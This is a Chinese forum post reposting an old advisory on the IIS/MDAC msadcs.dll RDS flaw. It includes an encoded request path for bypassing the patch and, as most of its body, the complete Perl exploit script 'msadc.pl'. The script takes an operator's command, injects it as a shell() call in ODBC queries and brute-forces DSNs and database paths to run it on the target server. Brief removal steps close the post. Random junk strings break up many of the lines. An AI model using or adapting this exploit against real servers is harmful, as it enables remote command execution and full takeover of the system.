社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 166071阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ~7$jW[i  
jr2wK?LbB  
涉及程序: Fzk%eHG=  
Microsoft NT server ukDaX  
2{9%E6%#  
描述: 9>-]*7  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 w s([bS2h  
?'^dYQ4  
详细: K 9tr Iy$v  
如果你没有时间读详细内容的话,就删除: VUUE2k;^  
c:\Program Files\Common Files\System\Msadc\msadcs.dll o^3X5})sv  
有关的安全问题就没有了。 0x2[*pJ|IW  
1EHL8@.M  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 7?p>v34A  
Vv_lBYV  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。  V$fn$=  
关于利用ODBC远程漏洞的描述,请参看: s?7"iE  
`9& ~fWu  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm y[DS$>E  
oC~+K@S  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 VT2f\d[Q  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^u+#x2$Mg  
pC/13|I  
这里不再论述。 aXgngw q  
X<<FS%:+  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: *q*$%H  
eE5j6`5i  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset l\_81oZ  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ]-{A"tJ  
ho%G  
^D?{[LBc  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 62 9g_P)  
-J;;6aA  
#!perl =Bos>;dl  
# .OZ\ s%h;  
# MSADC/RDS 'usage' (aka exploit) script TlC GP)VSj  
# 5BS !6o;P'  
# by rain.forest.puppy *:Uq ;)*  
# 4G'-"u^g  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Ov@vNj&  
# beta test and find errors! j_0xE;g"]  
yqKSaPRA  
use Socket; use Getopt::Std; $QnsP#ePN  
getopts("e:vd:h:XR", \%args); 6 2LLfD  
UgTgva>?  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 9dwLkr  
.s%dP.P:i1  
if (!defined $args{h} && !defined $args{R}) { [e7nW9\l  
print qq~ 8<=]4-X@  
Usage: msadc.pl -h <host> { -d <delay> -X -v } IqCh4y3  
-h <host> = host you want to scan (ip or domain) ]2rC n};  
-d <seconds> = delay between calls, default 1 second $ qTv2)W1{  
-X = dump Index Server path table, if available ,*Z/3at}5M  
-v = verbose Wrf+5 ;,,  
-e = external dictionary file for step 5 4l@aga  
J]5ZWo%  
Or a -R will resume a command session OU[ FiW-E  
|& _(I  
~; exit;} FyqsFTh_  
P-\65]`C  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; d 0 mfqP=  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} IweNe`Z  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} v,jB(B^|Z  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Ao, <G.>R  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 'DD~xCXE  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } eQJyO9$G  
3/Dis) v8  
if (!defined $args{R}){ $ret = &has_msadc; F- {hXM  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} N=j$~,yG  
o('6,D  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" H`nd |  
. "cmd /c "; *})Np0k  
$in=<STDIN>; chomp $in; !X\aZ{}Q  
$command="cmd /c " . $in ; d Z x  
->'xjD  
if (defined $args{R}) {&load; exit;} BeFXC5-qat  
\t]_UNGyW  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; U nS|""  
&try_btcustmr; tja7y"(]  
xTy)qN]P  
print "\nStep 2: Trying to make our own DSN..."; km29]V=}  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [6CWgQ%Ue  
CcZM0  
print "\nStep 3: Trying known DSNs..."; @c=bH>Oz  
&known_dsn; 7 b 8pWM  
>M7(<V  
print "\nStep 4: Trying known .mdbs..."; co*XW  
&known_mdb; j/uzsu+  
a*qc  
if (defined $args{e}){ zYEb#*Kar  
print "\nStep 5: Trying dictionary of DSN names..."; <f;X s(  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } |N0RBa4%  
{2LG$x-N%  
print "Sorry Charley...maybe next time?\n"; [bjP-pX  
exit; aPin6L$;)  
MPMAFs  
############################################################################## J+=?taZ  
K1t>5zm  
sub sendraw { # ripped and modded from whisker V U~r~  
sleep($delay); # it's a DoS on the server! At least on mine... |u.3Tp|3W  
my ($pstr)=@_; QG 1vP.K  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || g2 tM!IRQ  
die("Socket problems\n"); .q'{ 3  
if(connect(S,pack "SnA4x8",2,80,$target)){ WfYC`e7q  
select(S); $|=1; \R,8xID_t  
print $pstr; my @in=<S>; )Pv B^n  
select(STDOUT); close(S); w sbzGW~=  
return @in; toel!+  
} else { die("Can't connect...\n"); }} 8@]vvZ2/gj  
5UvqE_  
############################################################################## Y{<SD-ibZ$  
6*s:I&  
sub make_header { # make the HTTP request -+W E9  
my $msadc=<<EOT '~E=V:6  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 +THK Jn!>  
User-Agent: ACTIVEDATA aK--D2@}i  
Host: $ip i!+0''i{#  
Content-Length: $clen m{by%  
Connection: Keep-Alive YXDuhrs}  
ycrM8Mu 3  
ADCClientVersion:01.06 l8+;)2p!  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ft?c&h;At  
V"8w:?  
--!ADM!ROX!YOUR!WORLD! .Ix[&+LsY  
Content-Type: application/x-varg iu QMVtv  
Content-Length: $reqlen [{6fyd;  
vOU9[n N[  
EOT :_pn|  
; $msadc=~s/\n/\r\n/g; MLN+ BuS  
return $msadc;} 8>[o. xV  
>njX=r.  
############################################################################## bf6:J `5Z  
?L6pB]l8b  
sub make_req { # make the RDS request < mp_[-c  
my ($switch, $p1, $p2)=@_; 3zzl|+# 6  
my $req=""; my $t1, $t2, $query, $dsn; Ag} P  
S&NWZ:E3[  
if ($switch==1){ # this is the btcustmr.mdb query Jm,tN/o*  
$query="Select * from Customers where City=" . make_shell(); &e99P{\D  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . \`-a'u=S  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} _z53r+A  
j7b4wH\#  
elsif ($switch==2){ # this is general make table query Xn%O .yM6  
$query="create table AZZ (B int, C varchar(10))"; {=9"WN    
$dsn="$p1";} (1Klj+"p%  
dg4q+  
elsif ($switch==3){ # this is general exploit table query r?HbApV P  
$query="select * from AZZ where C=" . make_shell(); GxA[N  
$dsn="$p1";} QFIYnxY9  
@gk{wh>c  
elsif ($switch==4){ # attempt to hork file info from index server [n&SA]a  
$query="select path from scope()"; :i* =s}cv  
$dsn="Provider=MSIDXS;";} m[tsG=XBN  
SEIJ+u9XsA  
elsif ($switch==5){ # bad query w/@ tH  
$query="select"; *V{Y.`\  
$dsn="$p1";} KB8_yo{y  
"8/BVW^bv  
$t1= make_unicode($query); uuYeXI;  
$t2= make_unicode($dsn); i)7B :uA  
$req = "\x02\x00\x03\x00"; #dkSAS  
$req.= "\x08\x00" . pack ("S1", length($t1)); m=V69 a#  
$req.= "\x00\x00" . $t1 ; 15M!erT  
$req.= "\x08\x00" . pack ("S1", length($t2)); b ; U  
$req.= "\x00\x00" . $t2 ; |};-.}u^`h  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; t<MO~_`!  
return $req;} bCV_jR+  
bOD] `*q  
############################################################################## hZ-?-F?*@  
sU"sd7#A  
sub make_shell { # this makes the shell() statement ~$m:j];  
return "'|shell(\"$command\")|'";} 9]QHwa>_|2  
C%AN4Mo  
############################################################################## &+ UnPE(  
C&;m56  
sub make_unicode { # quick little function to convert to unicode _xr@dK<   
my ($in)=@_; my $out; U$LI~XZM  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 9}' 92  
return $out;} #aIV\G  
8JU{]Z!G<;  
############################################################################## [vOk=  
@P<aTRy,f  
sub rdo_success { # checks for RDO return success (this is kludge) S>y}|MG  
my (@in) = @_; my $base=content_start(@in); pV/5w<_x?  
if($in[$base]=~/multipart\/mixed/){ `IJTO_  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 6yd?xeD  
return 0;} =,Z5F`d4  
H Em XB=  
############################################################################## Wcki=ac\v!  
Ys8D|HIk  
sub make_dsn { # this makes a DSN for us ;:'ABfs  
my @drives=("c","d","e","f"); j9&x# U  
print "\nMaking DSN: "; a"phwCc"%  
foreach $drive (@drives) { 0](V@F"~  
print "$drive: "; 3z -="_p  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Xr{ r&Rl  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" K9) |b`E=  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); d)L,kzN  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; rs,:pU  
return 0 if $2 eq "404"; # not found/doesn't exist tkW7wP;  
if($2 eq "200") { 9 !s)52qt  
foreach $line (@results) { $'COsiK7  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} A\|:hzu+  
} return 0;} zA8Tp8(  
{0 L)B{|  
############################################################################## N'YQ6U  
`: 9n ]xP  
sub verify_exists { F{laA YE  
my ($page)=@_; cQ(,M  
my @results=sendraw("GET $page HTTP/1.0\n\n"); .cB>ab&  
return $results[0];} S%o6cl=  
scZ&}Ni  
############################################################################## h`4!Qv  
;$FMOMR  
sub try_btcustmr { fkD-mRKw  
my @drives=("c","d","e","f"); @*iT%p_L  
my @dirs=("winnt","winnt35","winnt351","win","windows"); [#+klP$  
=H?^G[y  
foreach $dir (@dirs) { rmPJid[8B~  
print "$dir -> "; # fun status so you can see progress Wt!8.d} =  
foreach $drive (@drives) { "B*UZ.cC  
print "$drive: "; # ditto NGkWr  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; QT\"r T9#  
$reqlenlen=length( "$reqlen" ); 8" (j_~;  
$clen= 206 + $reqlenlen + $reqlen; [9\Mf4lh#  
]Ryg}DOQ  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); n1rJ^q-G  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} U[6 ~ad a  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Su*Pd;  
G4G<Ow)`  
############################################################################## L6J.^tpO  
0xUn#&A~  
sub odbc_error { I?CfdI  
my (@in)=@_; my $base; J/\^3rCB  
my $base = content_start(@in); ,AG k4]  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this T 2Gscey  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [>|6qY$D  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Zz!yv(e)H  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; spTIhZ  
return $in[$base+4].$in[$base+5].$in[$base+6];} Y.E]U!i*  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";  4q\gFFV4  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 7A{,)Y/w ^  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Y/qs\c+  
\{ff7_mLo  
############################################################################## :xC1Ka%~  
l|fb;Giq=D  
sub verbose { _7,4C?  
my ($in)=@_; Gg6<4T1  
return if !$verbose; CW?R7A/  
print STDOUT "\n$in\n";} 4\m#:fj %  
bP7_QYQ6  
############################################################################## 3<}r+,j  
_A6e|(.ll  
sub save { GW0e=Y=LR  
my ($p1, $p2, $p3, $p4)=@_; nS]Ih0( K  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; o^+g2;Ro  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; +7j7zpw  
close OUT;} OK%d1M^8j  
vGD D  
############################################################################## FH7l6b,^  
lD,;xuQ  
sub load { TCK<IZKLqK  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; +lw1v  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); =qS\+  
@p=<IN>; close(IN); ,AyQCUz{*?  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ^-%O  
$target= inet_aton($ip) || die("inet_aton problems"); 8HL8)G6  
print "Resuming to $ip ..."; `\Te,  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; d#:7V%]d p  
if($p[1]==1) { {r_x\VC=p  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; XF`?5G~~#  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; >!% +)  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 3j/~XT  
if (rdo_success(@results)){print "Success!\n";} 7$7#z\VWu  
else { print "failed\n"; verbose(odbc_error(@results));}} 2 xt$w%  
elsif ($p[1]==3){ < [q{0,  
if(run_query("$p[3]")){ sH :_sOV*  
print "Success!\n";} else { print "failed\n"; }} fPab%>/T{  
elsif ($p[1]==4){ yX CJ?  
if(run_query($drvst . "$p[3]")){ sg4TX?I   
print "Success!\n"; } else { print "failed\n"; }} $8fJDN  
exit;} ~-#8j3 J;  
BZk0B ?  
############################################################################## 8W x7%@^O  
!%>(O@~"|  
sub create_table { %!OA/7XbG  
my ($in)=@_; $q0i=l&$&  
$reqlen=length( make_req(2,$in,"") ) - 28; P5`BrY,hZ  
$reqlenlen=length( "$reqlen" ); b.QL\$a &  
$clen= 206 + $reqlenlen + $reqlen; K#[ z5  
my @results=sendraw(make_header() . make_req(2,$in,"")); uw{ K&Hxw  
return 1 if rdo_success(@results); B=|m._OL]n  
my $temp= odbc_error(@results); verbose($temp); 5wa!pR\c  
return 1 if $temp=~/Table 'AZZ' already exists/; (XQ:f|(  
return 0;} {3K`yDF  
/N=M9i\;  
############################################################################## %B04|Q  
y#-~L-J_R  
sub known_dsn { quiX "lV(  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go >"pHk@AWK  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", e{}vT$-  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", P@8S|#LpZ  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); )KUEkslR:  
LmjGU[L,@  
foreach $dSn (@dsns) { $mut v=IO  
print "."; V~S(cO[vj  
next if (!is_access("DSN=$dSn")); D9higsN  
if(create_table("DSN=$dSn")){  Z6_fI  
print "$dSn successful\n"; ~~{+?v6B]  
if(run_query("DSN=$dSn")){ z{A~d  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { @K}Bll.E  
print "Something's borked. Use verbose next time\n";}}} print "\n";} '%KaAi$  
!.[H !-V.  
############################################################################## _PGS"O?j  
sQ8kLS_q8  
sub is_access { j&Y{ CFuZ  
my ($in)=@_; )q>q]eHz  
$reqlen=length( make_req(5,$in,"") ) - 28; .Tc?PmN  
$reqlenlen=length( "$reqlen" ); "T' QbK0  
$clen= 206 + $reqlenlen + $reqlen; [ Ru ( H  
my @results=sendraw(make_header() . make_req(5,$in,"")); D[<~^R;*  
my $temp= odbc_error(@results); Ex4)R2c*  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); a5uBQ?  
return 0;} ]w~ECP(ap  
c>L#(D\\  
############################################################################## ^d!I{ y#  
#oxP,LR  
sub run_query { l#rr--];  
my ($in)=@_; Fqg*H1I[  
$reqlen=length( make_req(3,$in,"") ) - 28; l'kVi  
$reqlenlen=length( "$reqlen" ); YguY5z  
$clen= 206 + $reqlenlen + $reqlen; `WlQ<QEi  
my @results=sendraw(make_header() . make_req(3,$in,"")); ]DLs'W;)  
return 1 if rdo_success(@results); h[r)HX0hA  
my $temp= odbc_error(@results); verbose($temp); :djbZ><  
return 0;} :;N2hnHoG  
V7$-4%NL  
############################################################################## 4x?4[J~u[  
->5[C0: ]  
sub known_mdb { f- ~]  
my @drives=("c","d","e","f","g"); F3&:KZ!V&m  
my @dirs=("winnt","winnt35","winnt351","win","windows"); TJz} 8-#t  
my $dir, $drive, $mdb; &?3P5dy_  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; UaM&/K9  
_t@9WA;+\  
# this is sparse, because I don't know of many GLa_[9 "  
my @sysmdbs=( "\\catroot\\icatalog.mdb", KKM!($A  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", R|R3Ob.e  
"\\system32\\certmdb.mdb", W>J1JaO  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% osI0m7ws:  
QHw{@*  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", QUz_2rN^  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ?io ,8  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ![/ QW  
"\\cfusion\\cfapps\\security\\realm_.mdb", YL9Tsw  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", XrN]}S$N  
"\\cfusion\\database\\cfexamples.mdb",  n[  
"\\cfusion\\database\\cfsnippets.mdb", CzG/=#IU  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", !s47A"O&B  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 6yhRcvJ}  
"\\cfusion\\brighttiger\\database\\cleam.mdb", `{'h+v`  
"\\cfusion\\database\\smpolicy.mdb", *2r(!fJP=^  
"\\cfusion\\database\cypress.mdb", 9 N9Q#o$!.  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", F{FSmUxzK  
"\\website\\cgi-win\\dbsample.mdb", JwcC9 O  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", RgLkAHA  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" JeU1r-i  
); #these are just CAbT9W z&  
foreach $drive (@drives) { P B"nf|pm  
foreach $dir (@dirs){ _QiGrC  
foreach $mdb (@sysmdbs) { ~Ut?'}L( d  
print "."; 9DaoM OPEI  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ <gx"p#JbZ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; g/`z.?  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ K#a_7/!v/  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; !-s6B  
} else { print "Something's borked. Use verbose next time\n"; }}}}} uAv'%/  
<M M(Z  
foreach $drive (@drives) { fx = %e  
foreach $mdb (@mdbs) { `;z;=A*  
print "."; Zie t-@}  
if(create_table($drv . $drive . $dir . $mdb)){ G|)fZQ1nS  
print "\n" . $drive . $dir . $mdb . " successful\n"; \zV'YeG  
if(run_query($drv . $drive . $dir . $mdb)){ I_On0@%T5b  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ki9vJ<  
} else { print "Something's borked. Use verbose next time\n"; }}}} <k 7q 9"\4  
} LGPg\g`  
HOlMj!.  
############################################################################## 4nGr?%>  
zH1ChgF=}  
sub hork_idx { sH\ h{^  
print "\nAttempting to dump Index Server tables...\n"; <(B: "wI  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";  f%c-  
$reqlen=length( make_req(4,"","") ) - 28; "Sd2VSLg  
$reqlenlen=length( "$reqlen" ); 4Q^i"jT  
$clen= 206 + $reqlenlen + $reqlen; r9$7P?zm  
my @results=sendraw2(make_header() . make_req(4,"","")); .:2=VLujU  
if (rdo_success(@results)){ Gkz~x Qy1T  
my $max=@results; my $c; my %d; x<h-F  
for($c=19; $c<$max; $c++){ O%rt7qV"g2  
$results[$c]=~s/\x00//g; Tg/r V5@ka  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; J_>nn  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 5MS5 Q]/  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; {y==8fCJ  
$d{"$1$2"}="";} _`q ei0  
foreach $c (keys %d){ print "$c\n"; } @-Ln* 3n  
} else {print "Index server doesn't seem to be installed.\n"; }} <PXnR\  
JURJN+)z  
############################################################################## 19;F+%no#  
t$5)6zG  
sub dsn_dict { D8wZC'7  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); I>45xVA  
while(<IN>){ q?Av5TFf  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 't un;Y  
next if (!is_access("DSN=$dSn")); p$bR M`R&s  
if(create_table("DSN=$dSn")){ L_ 2R3 w  
print "$dSn successful\n"; ~VaO,8&+L  
if(run_query("DSN=$dSn")){ J7s\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { b'TkYa^  
print "Something's borked. Use verbose next time\n";}}} 5.FAuzz  
print "\n"; close(IN);} {^SHIL  
eHH qm^1z  
############################################################################## ,: 4+hJ<q  
C}cYG  
sub sendraw2 { # ripped and modded from whisker R#33AC CX  
sleep($delay); # it's a DoS on the server! At least on mine... il >XV>  
my ($pstr)=@_; 6sl2vHzA  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =1h> N/VJ  
die("Socket problems\n"); OQa;EBO  
if(connect(S,pack "SnA4x8",2,80,$target)){ -H AUKY@;5  
print "Connected. Getting data"; =%$BFg1a(  
open(OUT,">raw.out"); my @in; r[y3@SE5  
select(S); $|=1; print $pstr; oM)4""|  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ICXz(?a  
close(OUT); select(STDOUT); close(S); return @in; /d]{ #,k  
} else { die("Can't connect...\n"); }} p/.[ cH  
AcxC$uh  
############################################################################## ro*$OLc/  
,?Nc\Q<:  
sub content_start { # this will take in the server headers 5sK1rDN  
my (@in)=@_; my $c; :} 9Lb)Yp  
for ($c=1;$c<500;$c++) { TrC :CL  
if($in[$c] =~/^\x0d\x0a/){ 7T-}oNaJA\  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Wf!<Qot|R#  
else { return $c+1; }}} Y)OTvKrOA  
return -1;} # it should never get here actually LwS>jNJx  
M>"J5yqR  
############################################################################## 8nOent0a  
{\zB'SNq  
sub funky { ?^W`7HF%0  
my (@in)=@_; my $error=odbc_error(@in); 0w<qj T^U  
if($error=~/ADO could not find the specified provider/){ xlU:&=|  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; =}Xw}X+[WY  
exit;} xyc`p[n &  
if($error=~/A Handler is required/){ %)@3V8OI  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^=gzm s  
exit;} Zi~-m]9U  
if($error=~/specified Handler has denied Access/){ o"./  
print "\nServer has custom handler filters (they most likely are patched)\n"; /6a617?9J  
exit;}} SYmiDR  
k>dzeH  
############################################################################## nPo YjQi  
E< Ini'od[  
sub has_msadc { &Eqa y'  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); $7JWA9#N!  
my $base=content_start(@results); ums*EKjs97  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); d ,!sZ&v  
return 0;} YsXf+_._  
YR} P;  
######################## @&LtIN#  
%44Z7  
5/"&C-t  
解决方案: cl3Dwrf?  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll -McDNM  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1#2B1&  
/6Vn WrN_  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五